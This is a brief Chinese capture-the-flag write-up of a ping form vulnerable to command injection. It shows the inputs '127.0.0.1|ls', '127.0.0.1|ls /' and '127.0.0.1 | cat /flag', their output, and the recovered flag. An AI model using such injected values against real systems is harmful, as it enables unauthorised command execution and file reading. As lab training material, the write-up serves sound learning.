小编点评

正文

打开靶机对应url

显示可以输出ip 来进行ping操作

尝试试一下是否有命令注入的可能

127.0.0.1|ls
复制

果然可以，输出结果

index.php
PING 127.0.0.1 (127.0.0.1): 56 data bytes
复制

按照套路估计是在根目录，试一下

127.0.0.1|ls /
复制

输出

bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
复制

果然有flag文件，执行一下cat

127.0.0.1 | cat /flag
复制

Boom

flag{52748aae-0332-451d-8c92-6c61ba2daf4e}
复制